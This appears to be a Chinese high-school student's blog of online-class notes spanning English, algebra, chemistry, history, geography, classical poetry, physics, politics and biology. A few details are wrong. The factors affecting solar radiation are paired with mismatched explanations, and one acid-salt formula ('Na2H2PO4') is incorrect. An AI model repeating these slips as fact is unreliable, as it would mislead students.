blog n. 博客，网络日志

post vt. 发帖子 psot ablog/a photo

tip n. 建议，小贴士

organized adj. 有组织的，有条理的 a super-ororganized student get organized

part 2

reminder 提醒物

in case 以防万一

common sense 常识

Passage 2

scientist，scientific, technology study，research/researcher， test, experiment,lab subject(实验对象)/participant ( 参与者) result

part 1

According to the research from the scientists,.......

part 2

They tested 18 young people who had good sleep after a sleepless night.The participants watched videos of people with neutral expressions walking towards them.

part 3

The participants kept the person at a distance of 60% further if they hadn't got enough sleep.
The result shows that the less sleep you get, the less you want to socialize with others.
- The harder you work, the greater progress you will make.
- The busier he is, the happier he feels

Passage 3

【跳过】

Passage 4

vieus n. 病毒

infect vt. 感染 indfected adj. 感染 infectious adj. 传染性的 infection n. 传染，感染 disfect vt. 给...消毒

It is/has been +一段时间+since （动词过去式）自打从......到现在有......久了 It is /has been 3 years since we saw each other last time. It is /has been 10 years sinece I graduated from the university.

What should we do if we want to protect ourselves against viruses?
1. Do not touch your eyes, mouth or nose with your fingers and wash your hands more often.
2. Use a tissue(纸巾) when you are sneezing (打喷嚏) .
3. Eat all kinds of vegetables, do some exercises and get enough sleep.

数学

因式分解

5. 十字相乘法因式分解

例题： $$ (1).x^2-x-20 $$

$$ (2).12x^2-5x-2 $$

$$ (3).2x^4+x^2y^2-3y^4 $$

$$ (4).3x^2-4xy-3y^2 $$

例题答案：

【前两道上节课已经解决】

例题变式： $$ (1).6(x+y)+7\sqrt{z(x+y)}+2z(x>0,y>0,z>0) $$

$$ (2).x^2+(2m+1)x+m^2+m $$

$$ (3).3x^2-2x-7 $$

变式答案：

探究

待定系数法

总结： $$ 第一步：Ax^2+Bxy+Cy^2=(A_1x+C_1)(A_2x+C_2) $$

$$ 第二步：令原式=[(A_1x+C_1)+m][(A_2X+C_2)+n] $$

$$ 第三步：展开待定系数 $$

变式练习： $$ 因式分解x^2-y^2-x+3y-2 $$ 变式答案：

逆向思维问题探究

$$ 多项式x^2+axy+by^2-5x+y+6的一个因式是x+y-2，试确定a+b的值 $$

答案：

分式与根式

分式及其运算性质

分式

意义：分母中带有字母的分式运算性质：

例题： $$ (1).化简{a^2+7a+10 \over a^2-a+1} \times {a^3+1 \over a^2+4a+4} \div {a+1 \over 1+2} $$

$$ (2).若{1\over m}+{1\over n}=5，求{m-3mn+2n \over m-2-2mn+n} $$

$$ (3).若{a\over b+c}={b \over c+a}={c \over a+b}=k，求k的值 $$

例题答案：

小试牛刀 $$ (1).化简{x\over x+{1-x \over x- {1 \over x}}} $$

$$ (2).已知{2x-y \over x+y}={2\over 3}，求{x\over y}的值 $$

$$ (3).已知x^2+5xy-6y^2=0，求{2x+3y\over 2x-y}的值 $$

$$ (4).已知x={3-\sqrt{5}\over2}，求{x^2\over x^4+x^2+1}的值 $$

答案：

化学

物质的分裂

分类方法：

树状分类法
交叉分类法

氧化物

酸性氧化物
碱性氧化物
两性氧化物
- Al2O3

酸

酸性强度
- 强酸
  - H2SO4、HNO3、HCl、HClO4、HBr、HI
- 弱酸
能电离出氢的数量
- 一元酸
  - HCl
- 二元酸
  - H2SO4
- 多元酸
  - H3PO4

并不是有几个氢元素就是几元酸，例如醋酸CH3COOH属于一元酸

正盐和酸式盐

酸式盐：某个二元及二元以上的酸，拥有他对应的酸式盐

正盐：完全中和形成的盐

H2SO4

正盐：Na2SO4 酸式盐：NaHSO4

H3PO4

正盐：Na3PO4 酸式盐：Na2HPO4、Na2H2PO4

NaHCO3

酸式盐不一定是酸性
多元酸有酸式盐，一元酸没有酸式盐

分散系及其分类

分散系

把一种(或多种)物质分散在另一种(或多种)物质中所形成的混合物一种(或多种)物质：分散质

溶液：溶质直径小 乳浊液、悬浊液：被分散成小液滴或固体小颗粒的物质直径大

另一种(或多种)物质：分散剂

从外观可以看出，分散质粒子大小和分散系稳定性的差异

分散系根据分散质粒子的直径大小分类

滤纸的孔径在100nm左右

胶体中的粒子可以通过滤纸

胶体

根据分散剂的状态分类

气溶胶云、烟、雾等
液溶胶稀豆浆、墨水、蛋白质胶体、淀粉胶体、氢氧化铁胶体、氢氧化铝胶体等
固溶胶有色玻璃、水晶、珍珠等

Fe(OH)3胶体的制备

取两个100mL小烧杯，分别加入40mL蒸馏水和40mLCuSO,溶液。将烧杯中的蒸馏水加热至沸腾，向沸水中逐滴加入5~ 6滴FeCl3饱和溶液。继续煮沸至液体呈红褐色，停止加热。观察制得的Fe(OH)3

$$ FeCl_3+3H_2O==Fe(OH)_3(胶体)+3HCl（条件加热） $$

丁达尔效应

物理方法

当一束强光透过胶体时，在垂直于光线的方向可以看到一条光亮的通路是由于胶体粒子对光线散射(光波偏离原来方向而分散传播)形成的丁达尔效应

溶液、胶体、浊液比较

课堂小结

历史

第二课诸侯纷争与变法运动

时空定位一东周之春秋战国

课程目录

观变——春秋战国的社会变革
应变——春秋战国的变法运动
思变——春秋战国的百家争鸣

观变——春秋战国的社会变革

这一考古发现说明了什么？

周王室衰微,礼崩乐坏

1. 政治大动荡

(1)春秋五霸:齐桓公、晋文公、楚庄王、吴王阖闾、越王勾践(相继争霸) (2)战国七雄:齐、楚、秦、燕、赵、魏、韩(逐鹿并存)

思考:春秋时期与战国时期的诸侯纷争有何不同? 春秋时期是奴隶主贵族的争霸战争(尊王攘夷)，战国时期是封建地主阶级的兼并战争(一统天下)。

2. 民族大交融

(1). 变化

诸侯数量减少，形成区域强国
战国修建长城，强边防促统一
四夷渐入华夏，秦楚融入中原

(2). 原因

中原民族先进文化的吸引
华夏认同观念的形成

(3)影响：华夏族发展壮大,民族交融进一步发展,为国家走向统一创造条件。

那么导致诸侯纷争的决定因素是什么？——经济和军事实力(各诸侯国政治经济发展不平衡)

3. 经济大发展

(1). 农业的进步

铁农具开始使用,牛耕得到推广
各国兴建水利灌溉工程。

农业的发展又推动了手工业的发展和工商业的繁荣。

(2)工商业繁荣

手工业分工更加细密
货币流通广泛，商业贸易发达
出现财富雄厚的大商人

[重点探究]梳理春秋战国时期社会变革的过程,探讨变革的实质。

应变——春秋战国的变法运动

1. 变法运动

根据材料和所学知识分析变法运动为什么会成为战国时期的一股潮流? (变法的必然性)

生产力的发展,封建土地私有制确立,旧制度阻碍了封建经济的发展。
兼并战争形势严峻,新兴地主阶级需要增强国家实力,以求立足于乱世。

在各国开展的变法运动中秦国商鞅变法收效最为显著。

2. 商鞅变法

(1). [任务]根据教材归纳商鞅变法的内容并思考其作用。

公元前338年,商鞅遭到保守势力的迫害被处以车裂之刑,商鞅虽死,但秦法未败。

(2). 如何评价商鞅变法?

积极性:

顺应历史潮流，改革最彻底;使秦国富兵强,奠定了秦统一-中国的基础。
局限性:

轻礼义教化,轻罪重罚,一定程度上加重了对人民的压迫。

思变——春秋战国的百家争鸣

春秋战国时期社会急剧变化，许多学术流派或学者针对当时社会上和学术上的各种问题,争表不同见解，展开争论，形成“百家争鸣"的局面。根据材料结合所学知识,概括百家争鸣出现的背景? (从经济、政治、阶级、文化角度)

1. 背景

经济上:井田制崩溃,土地私有制逐步确立
政治上:周王室衰微,分封制破坏
阶级上:士阶层活跃并倍受重视,学术环境宽松
文化上 :私学兴起,学在民间

2. 春秋时期的思想家

孔子一儒家学派创始人

孔子的思想核心:“仁"和“礼”
孔子的政治主张：

为政以德，提倡德治。但主张恢复周礼，反映了孔子在政治上有一定的保守性。
孔子的天命观: 注重政治与人事,主张务实。( 是一种人文精神的体现)
孔子对文化教育的贡献:
1. 提出有教无类、因材施教等教育理念;
2. 开创私学;
3. 整理文化典籍。(《诗》《书》《礼》《乐》《易》《春秋》)

思考:孔子仁礼治国方案为什么不被统治者采纳呢?

春秋战国时期，社会分裂割据，缺乏推行孔子主张的社会基础。
各诸侯国忙于兼并战争和改革图强,孔子恢复周礼和仁政爱民的主张与现实政治需要不符。

(2)老子——道家学派创始人

①哲学思想	“道"是世界的本源;天人合的朴素唯物论 ;朴素的辩证法。
②政治思想	小国寡民和“无为而治”(遵循自然的法则而不妄为)。

3. 战国时期的思想家

(1). 孟子(儒家)

伦理观:人性本善
政治主张:提倡仁政
民本思想:民贵君轻

(2). 荀子(儒家)

伦理观:人性本恶
政治主张:隆礼重法
民本思想:君舟民水

(3). 庄子(道家)

主要思想:崇尚逍遥自由,提出万物齐一的齐物论。

(4). 邹衍(阴阳家)

主要思想:提出“相生相胜”理论,是对自然界朴素的科学认识。

(5). 墨子(墨家)

主要思想:兼爱、非攻、尚贤、节用

(6). 韩非子法家集大成者

主张变法革新
主张以法治国
主张建立中央集权。

探究:结合韩非思想分析为什么说法家思想是战国时期最“有用”的思想?

主张加强君主集权适应了地主阶级建立新政权的需要厉行赏罚,奖励耕战适应了地主阶级兼并战争的需要不期修古,不法常可适应了社会大变革的需要

[拓展]思考:法家思想的影响

法家理论为中国中央集权政治体制的建立奠定理论基础。
对秦统一和秦朝的治国,都起到了重大作用,但由于“法治”过度导致暴政，使秦朝短暂而亡。

总结归纳：

4. 百家争鸣的历史影响

(1)性质:是中国历史上第一次思想解放运动。 (2)对当时:为新兴的地主阶级登上历史舞台奠定思想理论基础。 (3)对后世:成为后世中华思想文化的源头活水。

[知识升华]诸子百家思想为什么会具有顽强生命力，源远流长]？

不重要，只需了解：

①中华传统文化塑造了中华民族自强日新、厚德载物的深沉的精神追求,赋予中华民族生生不息的生命力。 ②诸子百家思想思考和表达了人类生存与发展的根本问题,其智慧光芒穿透历史,思想价值跨越时空,历久弥新,成为人类共有的精神财富。 ③中华传统文化已经成为中华民族的基因,根植于中国人的内心,潜移默化影响着中国人的思维方式和行为方式。

我们提倡的社会主义核心价值观,就充分体现了对中华优秀传统文化的传承和升华。

大变革的时代——诸侯纷争与变法运动

【补充】先秦时期阶段的特征

地理

第一节地球的宇宙环境

太阳

1. 太阳系

太阳系示意图

八大行星的运行特征

同向性——绕日公转方向都是自西向东。
近圆性——绕日公转的轨道近似圆形。
共面性——轨道面几乎在同一平面上。

2. 太阳的基本概况

太阳是太阳系的中心天体

太阳的能量来源

3. 太阳辐射

太阳以电磁波的形式源源不断地向外传递能量，称太阳辐射

(1). 太阳辐射对地球的影响

太阳辐射直接给地球带来光照和热资源，生活。
维持地表温度，是地球上的水、大气运动和生命活动的主要动力
地质历史时期形成的煤炭和石油，其能量来源于太阳辐射。
过强的太阳辐射对于人们的皮肤会造成不利影响。

如何理解“煤是太阳提供的能源”？

煤是地质历史时期在太阳光照下生长的植被在地质作用下形成的一一种能源，所以煤是地质时期被生物固定以后积累下来的太阳能。

[拓展延伸] 简述我国太阳辐射总量的分布特点?

我国太阳辐射总辐射量的分布总体不均匀。
我国太阳辐射的高值中心是青藏高原地区。
我国太阳辐射的低值中心是四川盆地地区。

影响太阳辐射的因素

纬度因素：纬度高低，影响年平均正午太阳高度大小，进而影响到太阳辐射的纬度分布
天气状况：地势越高，空气越稀薄，固体杂质、水汽少，透明度高，晴天多，被大气削弱得越少，到达地面的太阳辐射越多。
海拔高低：白昼时间越长，所获得的太阳辐射量越多，反之越少。
日照时间：大气越干燥，晴天日数越多，大气削弱的太阳辐射越少，到达地面的太阳辐射越多。

老师的思维导图

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第三天

Mon, 05 Sep 2022 00:00:00 GMT

开学第三课

语文

短歌行

解题

《短歌行》是汉乐府的曲调名，“长歌”、“短歌”是依照歌词音调的长短而言。一般说，长歌比较热烈奔放，短歌比较短促，适于抒发心的忧愁和苦闷。诗句都是四字句，就称之为“短歌”。

“行”是古代诗歌的一种文学体裁。除了“行”还有“歌、吟、引、曲、谣、辞”都是诗歌的体裁。如：

歌:《垓下歌》《白雪歌》《登幽州台歌》《陇上歌》
行:《兵车行》《丽人行》《东门行》《十五从军行》
吟:《秦中吟》《白头吟》
引:《李凭箜篌引》
曲:《西洲曲》《秋风曲》《渭城曲》

写作背景

东汉末年，军阀割据，战祸连年，生产力遭到极大破坏，人民饱尝流离的痛苦，面临死亡的威胁，中原地区尤为严重。那时，人心思治，尽快结束纷争的局面是大势所趋。曹操顺应时代的潮流，肩负起完成统一大业的重任。曹操领兵南征北战，“ 挟天子以令诸侯”，渴望统一- 天下。然而，他虽高标“唯才是举”，却又叹人生苦短，人才难求。建安十三年(208)，曹操率大军南下，列阵长江，欲一一举荡平孙、刘势力。大战前夕，酒宴众文武，饮至半夜，忽闻鸦声。曹操感于此景而持槊立于船头，慷慨歌此《短歌行》。

整体感知

第一层

对酒当歌，人生几何？譬如朝露，去日苦多。慨当以慷，忧思难忘。何以解忧？唯有杜康。

译文:面对美酒应该高歌，人生短促日月如梭。好比晨露转瞬即逝，失去的时日实在太多!席上歌声激昂慷慨，忧郁长久填满心窝。靠什么来排解忧闷?唯有狂饮方可解脱。

忧人生短暂

手法：

设问开头，破空而来，表达诗人对人生的思考.
运用“朝露”为喻，表达年华易失的感慨.
以造酒的杜康借代酒，形象突出，引人联想.

情感：

光阴易逝、人生短暂.

第二层

青青子衿，悠悠我心。但为君故，沉吟至今。呦呦鹿鸣，食野之苹。我有嘉宾，鼓瑟吹笙。

译文:那穿着青领的学子哟，你们令我朝夕思慕。正是因为你们的缘故，我一直低唱着《子衿》歌。阳光下鹿群呦呦欢鸣，悠然自得啃食在绿坡。一旦四方贤才光临舍下，我将秦瑟吹笙宴请宾客。

忧求贤不得

手法：

用典:所谓用“典”是指在诗词中通过各种手法，或引用、或化用、或改用前人的成语、故事，以使诗典雅耐读,富于文采;还可怀古伤今，咏史言志。青青子衿——用典，引用《诗经》原句:“青青子衿，悠悠我心，纵我不往，子宁不嗣音?“原写姑娘思念情人，这里比喻渴望得到贤才。呦呦鹿鸣——“呦呦鹿鸣，食野之苹。我有嘉宾，鼓瑟吹笙。”语出《诗经●小雅●鹿鸣》。这里用来表达招纳贤才的热情。

情感：

渴望贤才

诗人如何表达对人才的渴盼？ —— 青青子衿一沉吟至今。希望贤才主动投奔曹操将如何对待人才? —— 呦呦鹿鸣一鼓瑟吹笙。必将礼遇、重视贤才

第三层

明明如月，何时可掇？忧从中来，不可断绝。越陌度阡，枉用相存。契阔谈讌，心念旧恩。

译文:当空悬挂的皓月哟，什么时候能将你摘下?我久蓄于怀的忧愤哟，突然喷涌而出汇成长河。远方宾客踏着田间小路，一个个屈驾前来探望我。彼此久别重逢谈心宴饮，争着将往日的情谊诉说。

手法：

比喻。将贤才喻为明月，表现求贤不得的心情

情感：

求贤不得。

第四层

月明星稀，乌鹊南飞。绕树三匝，何枝可依？山不厌高，水不厌深。周公吐哺，天下归心。

译文:明月升起，星星闪烁，一群寻巢乌鹊向南飞去。绕树飞了三周却没敛翅，哪里才有它们栖身之所?高山不辞土石才见巍峨，大海不弃涓流才见壮阔。只有像周公那样礼待贤才，才能使天下人心都归向我。

手法：

比喻。诗人将贤才比作“乌鹊”，写出他们徘徊犹豫不知投靠谁的心态,抒发自己担忧人才投靠他人愁情。暗喻。化用《管子.形势解》中“海不辞水，故能成其大;山不辞土，故能成其高;明主不厌人，故能成其.....”.暗喻自己像山、海一样，表明要宽宏大量，广纳人才。用典。曹操借用鲁周公热切殷勤接待贤才的故事表明自己招纳贤才的热诚，充满自信地向人才表明自己是当今明主，表达出立志平定河山的雄心。

小结

阔度明理

读罢这首《短歌行》, 让我们感动的是曹操海纳百川的气度和一统天下的抱负。他当之无愧是我们心目中伟大的英雄。当然，每个对英雄的评价标准是不一样的。文天祥，刚毅无畏，留取丹心照汗青是英雄;郎平，率中国女排重返世界之巅，是英雄;陈斌强，风雨无阻，背母亲上班，是英雄;吴锦泉老人，走街串巷，磨刀为生却热心公益，也是雄。英雄，也许是历史上建立了丰功伟绩的帝王伟人，也许就是我们身最普通的平民百姓。那么，你心中的英雄是谁?为什么?

归园田居

诗人介绍

百世田园之主千古隐逸之宗

陶渊明：一名潜，字元亮。东晋最杰出的诗人、文学家 “田园诗人“ 开创田园诗一体隐逸诗人靖节先生私谥五柳先生自号

初读课文

疏通诗意

整体感知

分析诗句

从何而归

误落尘网中，一去三十年。久在樊笼里，复得返自然。

尘网、樊笼：比喻庸俗污浊的官场。表达自己对官场生活的厌恶，“ 误落尘网中，一去三十年 ”沉痛悔恨误入仕途的生活。

为何而归

(1). 少无适俗韵，性体爱近山。（本性）

热爱田园生活，厌恶官场

既然“性本爱丘山”，为何还要出仕? “误落尘网中”，入仕做官，非本性使然，而是一次失误。

“性本爱丘山”也许是陶渊明“归园田”的重要原因之一，那么，它是不是根本原因呢?请在诗中继续寻找答案。“误落尘网中”，入仕做官，非本性使然，而是一次失误。

(2). 羁鸟恋旧林，池鱼思故渊。(道语含义、特点、情感）

“羁鸟”:笼中的鸟; “池鱼”:池塘中的鱼。
特点:失去自由，失去最适合它们的生活环境。暗示诗人在官场中如同“羁鸟”、“ 池鱼”一样失去自由。
说明作者身在宦海，而心系田园的心情，对自由的向往。

(3). 开荒南野际，守拙归园田。

归园田的目的是什么?如何理解"守拙”言外之意是什么?(不归园田就无法守拙?) 守拙:持守愚拙(正直善良)本性，摆脱尘世束缚。

东晋末年权力之争剧烈，官员皆是尔虞我诈勾心斗角，没有这种本领就无法得意于仕途。所以，正直良善之辈就会感到压抑束缚，为了守住自己的本心，归园田是他最好的归宿。 所以，“归园田”是为了保持精神上的自由和人格的独立。

数学

[上节课]习题处理（小尾巴）

[正片]第二讲整式因式分解的方法

因式分解的各种方法

1. 公式法

适用条件:问题中所给的多项式的结构与乘法公式中的结构一致，考虑使用公式法;

特别提醒:熟记公式,牢记其结构特征是公式应用的前提.

例题：

例题答案：

例题变式：

变式答案：

注意：因式分解要彻底

2. 提公因式法

问题中所给的代数式整体上有公因式,或局部有公因式,则采取提公因式的方式因式分解;

仔细观察,要将各项系数的最大公约数,相同的字母,相同因式的最低指数因式全部提取出来。

例题：

例题答案：

例题变式：

变式答案：

3. 分组因式分解法

多项式经过合理分组之后 ,可以提公因式 ,或能够直接使用乘法公式,则采用分组法因式分解

例题：

例题答案：

例题变式：

变式答案：

4. 配凑法因式分解

将多项式中的某些项适当拆分,或添下一些项后因式分解的方法即为配凑法

充分观察,不断尝试之后拆分或添项,要耐心，细心。

例题：

例题答案：

例题变式：

变式答案：

思考：因式分解

答案：

5. 十字相乘法因式分解

例题：

例题答案：

【因为要做核酸，所以下课了】

数学作业

物理

时刻与时间间隔

问题与思考

有的”时间“描述的是一个时刻，有的”时间“描述的是时间间隔

时刻与时间间隔

时刻:表示某一瞬间，在时间轴上用点来表示;
时间间隔(简称时间):是指两时刻的间隔，在时间轴上用线段来表示。

时刻属于状态，时间间隔属于过程

生活中的应用：列车时刻表

时刻与时间规律

位置与位移

坐标系

1.坐标系: 一般说来，为了定量地描述物体的位置及位置的变化，需要.在参考系上建立适当的坐标系。

(1). 直线坐标系（一维坐标系）

坐标系三要素：原点、正方向、单位长度

两辆汽车从大连出发，沿图中两条不同路线行驶。若某时刻两车分别到达图中位置，为了描述两车所在位置应该建立怎样的坐标系?

(2). 平面直角坐标系（二维坐标系）

路程和位移

两车从大连出发沿不同路线到达广州的过程有什么相同点和不同点?

轨迹不相同，位置变化相同。

轨迹：路程

位置变化：位移

路程:质点在运动的过程中，实际走过的轨迹长度。

位移:质点的位置的变化叫做位移。

用质点的初位置指向末位置的有向线段表示。

大小:起点指向终点的线段的长度方向:从初位置指向末位置。

路程和位移的区别

位移决定于物体位置的改变，路程则决定于运动轨迹的长度;
路程只有大小无方向，位移既有大小又有方向;
路程和位移的大小一般不相等;

注意:只有当质点做单向直线运动时，位移的大小才等于路程.

直线运动的位移

思考：如何精确表示位移

如果物体沿直线运动，可以建立直线坐标系。它的初位置为x1，末位置为x2，则物体的位移应该是由x1指向x2的红色有向线，常用△x表示坐标之差，所以在研究直线运动时，常用△x表示位移△x=x2 -x1

位移 = 末位置 - 初位置

说明:若两坐标之差为正，则位移的方向指向x轴的正方向;若两坐标之差为负，则位移的方向指向x轴的负方向。

举例:物体从A运动到B,xa = 3m, xb= -2m,它的坐标变化量△X=?

位移——时间图像

我们能不能把表中的数据用坐标来表示呢?

作图步骤

建立平面直角坐标系
描点
拟合曲线

用平滑的曲线尽可能的把绝大部分点连接起来

图像反映了质点位移随时间的变化规律，称为位移——时间图像，又称x-t图像。

位移时间图像的意义

描述物体位移随时间的变化关系

图线上任意一点的横纵坐标表示物体在某一时刻及所处的位置。
图线上起点的横纵坐标表示物体开始运动的时刻及位置。
x-t图像表示的是位移随时间变化的情况不是运动的轨迹。

图像描述并不是轨迹

两图象的交点代表两物体相遇

a. 图线向上走代表物体向正方向运动 b. 图线水平代表物体静止 c. 图线向下走代表物体向负方向运动

习题

参考答案

政治

人类漫长的童年——原始社会

迈入文明时代的门槛——奴隶社会

概述：奴隶制国家的产生

国家是阶级矛盾不可调和的产物，是阶级统治的工具。

1.生产力究竟发展到什么程度?举一些至今存在的遗迹来证明其生产发展

2.奴隶社会，其生产关系又有何特点呢?

3.奴隶社会，其生产关系又有何特点呢?

有人认为:“奴隶社会的产生伴随着残酷的剥削,所以奴隶社会的出现是一种历史的倒退。”请你结合材料和所学知识,对此观点进行评价。

[答案]判断一种制度是不是进步应看其生产关系是否适应生产力发展,而不是存在剥削与否。①奴隶社会,奴隶主完全占有生产资料和奴隶,奴隶毫无人身自由,奴隶主可任意处置奴隶,并只给奴隶最低限度的生活资料，从这点来说是残酷的;②而奴隶制生产关系的建设,顺应了生产力发展的要求,解放和发展了生产力;③奴隶社会的建立,促进了商品经济的繁荣,促进了社会分工,出现了城市和文字;④奴隶社会代替原始社会,促进了生产力的发展,使人类摆脱了野蛮的状态,迈入了文明时代,是社会历史的进步。综上，这不是历史的倒退

4.奴隶社会代替原始社会是历史的进步一一迈入文明时代

奴隶社会的生产力特点：

金属工具的广泛使用。
城市的出现和繁荣。
文字的发明和应用。
脑力劳动和体力劳动的分工。

奴隶社会，代替原始社会，促进了生产力的发展，使人类摆脱蒙昧野蛮的状态，迈入了文明时代的门槛，是历史的进步。由此可见，一种社会形态替代另偶社会形态，究竟是历史的进步还是倒退，判断的主要标志，是看生产关系是否适应生产力的发展。

人身依附的绳索——封建社会

在封建社会里，少数人占有大量土地，农民则很少或完全没有土地，地主以剥削劳动者的剩余劳动为条件，把土地交给农民耕种使用;农民则不得不以交租为条件，从地主那里取得一小块土地的使用权，并在人身上依附于地主。这样，地主可凭借土地所有权，依靠超经济强制，强迫农民交纳很高的地租。

1.封建社会的产生

①封建制生产关系的出现:奴隶社会后期，当生产力发展到新的水平时，出现了封建制生产关系。 ②生产关系变革的决定因素:当奴隶制日渐成为生产力进步发展的障碍时，就被封建制所代替，这是生产力发展的必然结果。

生产力发展的表现

①铁制农具得到广泛使用和推广，耕作技术显着进步 ②水利事业有了较大发展 ③手工业有了进一步发展，冶铁业成为最重要的手工业部门3 ④商业和城市逐渐发展起来

2.封建社会生产关系的特点 ①地主占有__绝大部分土地__,通过收取地租等方式,占有农民大部分劳动成果。 ②农民有__一定的__人身自由， ③有自己的劳动工具甚至__少量__土地,劳动成果除缴纳地租外还能留下__一部分__归自己支配。

封建制生产关系的进步性

相对于奴隶,农民有一定的人身自由,有自己的劳动工具甚至少量土地，劳动成果除缴纳地租外,还能留下一部分归自己支配。
农民能够比较自主地劳动,有了生产积极性,促进了社会生产的发展。
封建制生产关系更适合生产力的发展的要求，从而促进了社会生产力的发展。

看不见的锁链——资本主义社会

18-19世纪美洲大量的黑奴从事种植园生产, 既然有奴隶存在, 其生产方式是否就是奴隶社会性质? 亦或者，种植园是否就是封建社会性质?

南美种植园—— 作为一种高效整合的生产性组织形式,甘蔗种植园一开始就是典型的工业化企业。

2.资本主义生产关系的建立，必须具备两个基本条件

资本来到世间，从头到脚，每个毛孔都滴着血和肮脏的东西。 ——马克思

远在奴隶贸易之前呢?

基本特征

生产过剩→生产相对过剩，而不是绝对过剩

相对于劳动人民有支付能力的需求来说，商品显得过剩，而不是与劳动人民实际需要相比的绝对过剩。

主要表现

①大量商品卖不出去,大量生产资料闲置; ②大批生产企业、商店、银行破产,大批工人失业,生产迅速下降 ③信用关系破坏,社会生活陷入混乱。

原因

**直接原因:生产无限扩大(市场的盲目性)的趋势与劳动人民有支付能力的需求相对缩小之间的矛盾;各个企业内部生产的有组织性和整个社会生产无政府状态(缺乏科学的宏观调控)**之间的矛盾。 **根本原因:**生产社会化和生产资料资本主义私人占有之间的矛盾。

资本主义社会的基本矛盾

①表现:在阶级关系上表现为无产阶级和资产阶级的对立。资本家拥有生产资料并雇佣工人进行生产，为了追求自身利润最大化,不断加大对工人的剥削;广大工人没有生产资料,在经济上受剥削、政治.上受压迫,成为受苦最深的阶级。 ②实质:资本主义基本矛盾是生产力与生产关系之间的矛盾在资本主义社会的体现,是资本主义社会- - -切矛盾和冲突的总根源。

注:阶级矛盾不可调和。随着社会生产力的发展，资产阶级为了维持自己的统治，采取了一些缓和阶级矛盾的措施，但这些措施没有也不可能改变资本主义私有制及其剥削关系

资本主义私有制是根源。
资本主义基本矛盾的发展，贯穿于资本主义社会的始终，决定资本主义的命运。
资本主义终究要被社会主义取代，这是历史发展的必然趋势。

课堂小结

课后作业

生物

第一节细胞是生命活动的基本单

细胞与生物体的关系是怎样的? 动物体和植物体细胞的一致性和差异性是怎样的? 新细胞是如何产生的? 生物体的生长和发育等生命活动与细胞有什么关系?

细胞学说的建立过程

从人体的解刨和贯彻入手

——从器官到组织

1543年，维萨里通过大量的尸体解剖，发表《人体构造》，揭示了人体在器官水平的结构。
比夏经过对器官解剖观察，指出器官由低一层次的结构——组织构成。

显微镜观察资料的积累

——认识细胞

显微镜观察资料的积累认识细胞1665年，罗伯特·虎克发现植物的木栓组织由许多规则的小室组成，并把“小室”称为cell-细胞。
列文虎克观察到不同形态的细菌、红细胞和精子等。
马尔比基广泛观察了动植物的微细结构，如细胞壁和细胞质。

植物的木栓细胞为死细胞细菌、红细胞和精子为活细胞

科学观察和归纳概括的结合

——形成理论

施莱登提出植物细胞学说，即植物体都是由细胞构成的，细胞是植物体的基本单位，新细胞从老细胞中产生。
施旺认为动物体也是由细胞构成的，一切动物的个体发育过程，都是从受精卵这个单细胞开始的。

细胞学说在修正中前进

细胞学说的总结

细胞是一个有机体, 一切动植物都由细胞发育而来,并由细胞和细胞产物所构成。
细胞是一个相对独立的单位,既有它自己的生命,又对与其他细胞共同组成的整体生命起作用。
新细胞是由老细胞分裂产生的。

只涉及动植物，并不适用于一切生物

建立者(主要) :德国科学家施莱登和施旺

细胞学说的问题

问题1 :科学家是如何通过获得证据来说明动植物体由细胞构成这一结构的?

提示1:对动植物体的解剖和显微镜观察，再归纳得到结论。

归纳法：由一系列具体事实推出一般结论的思维方法。

问题2 :施莱登和施旺只是观察了部分动植物的组织,却归纳出“所有的动植物都是由细胞构成的"。这一结论可信吗?为什么?这一-结论对生物学研究有什么意义?

提示2:可信，因为在细胞学说的建立过程中，科学家不仅运用了不完全归纳法，还揭示了动植物的个体与细胞的内在规律性关系(如细胞是动植物生命活动的基本单位，动物体是由受精卵这个细胞发育而成的)，这样的科学归纳比一般的不完全归纳更具可信度。这一结论，实际上阐述了植物和动物在结构上的一致性，由此突破了植物学和动物学之间的壁垒，也推动了人们对细胞深入的开展研究。

问题3 :细胞学说主要阐明了细胞的多样性还是生物界的统一性 ?

提示3:细胞学说主要阐述了生物界的统一性。

问题4:通过分析细胞学说建立的过程,你领悟到科学发现具有哪些特点?

科学发现需从观察入手
科学发现的过程离不开技术的支持
科学理论的形成需要观察与归纳概括的结合。
科学学说的建立是一个不断修正和发展的过程。

细胞学说的意义

细胞学说揭示了动物和植物的统一-性 ,从而阐明了生物界的统一性。
促使解剖学、生理学、胚胎学等学科获得了共同的基础，这些学科的融通和统一催生了生物学的问世。生物学的研究随之由器官、组织水平进入细胞水平,并为后来进入分子水平打下基础。
被恩格斯列入19世纪自然科学三大发现的细胞学说和进化论,作为生物学大厦的基石，赋予生物学不同于其他自然科学的独特韵味。

生命系统

能够进行生命活动的系统叫做生命系统

单细胞

多细胞

病毒

病毒是否为生命系统

病毒的生活为什么离不开细胞?

细胞是生命活动的基本单位,生命活动离不开细胞。细胞是基本的生命系统

如何区分系统、生命系统呢? **系统:**相互联系相互作用的各组分有规律地结合而形成的综合体。 生命系统:系统的最高级形式(是指能完成一定的生命活动 ,即能独立与其所处的环境进行物质与能量交换,并在此基础上实现内部的有序性、发展与繁殖的系统)。
一个分子或一个原子,是一个系统吗?是不是生命系统? 是一个系统，但不是生命系统。因为生命系统应能完成一定的命活动，而单靠一个分子或原子并不能完成生命活动。

生命系统的结构层次

比较和归纳细胞与组织、组织与器官、个体和种群、种群与群落的关系,尝试用关系式表示。

组织=相似的(细胞1+细胞2+细胞.... .+细胞n) 器官=不同的(组织1+组织2+组织....+组织n) 种群-同种的(个体1+个体2+个体.....+个体n) 群落-全部的(种群1+种群2+种群....+种群n)

叶的表皮细胞和心肌细胞各有什么功能?

答:叶的表皮细胞主要起保护功能;心肌细胞是心脏的重要组成部分，众多心肌细胞收缩、舒张使得心脏得以搏动。
冷箭竹的光合作用是在哪些细胞中进行的?大熊猫的血液运输氧的功能是靠哪种细胞完成的?

答:冷箭竹的光合作用发生在叶肉细胞中，因为这些细胞含有叶绿体;大熊猫的血液运输氧的功能靠红细胞完成。
大熊猫和冷箭竹繁殖后代关键是靠什么细胞?

答:生殖细胞(精子和卵细胞)。
生物圈的碳氧平衡是不是与地球上所有生物细胞的生命活动都有关系?为什么?

生物圈的碳氧平衡与地球上所有生物细胞的生命活动都有关系，因为基本上每个细胞都要进行呼吸作用消耗氧气和释放二氧化碳，而绿色植物的一些细胞和蓝细菌能进行光合作用吸收二氧化碳和释放氧气。正因为有了细胞的呼吸作用和光合作用，才能保持生物圈中的碳氧平衡。
以下的情况分别属于生物系统的哪个层次?

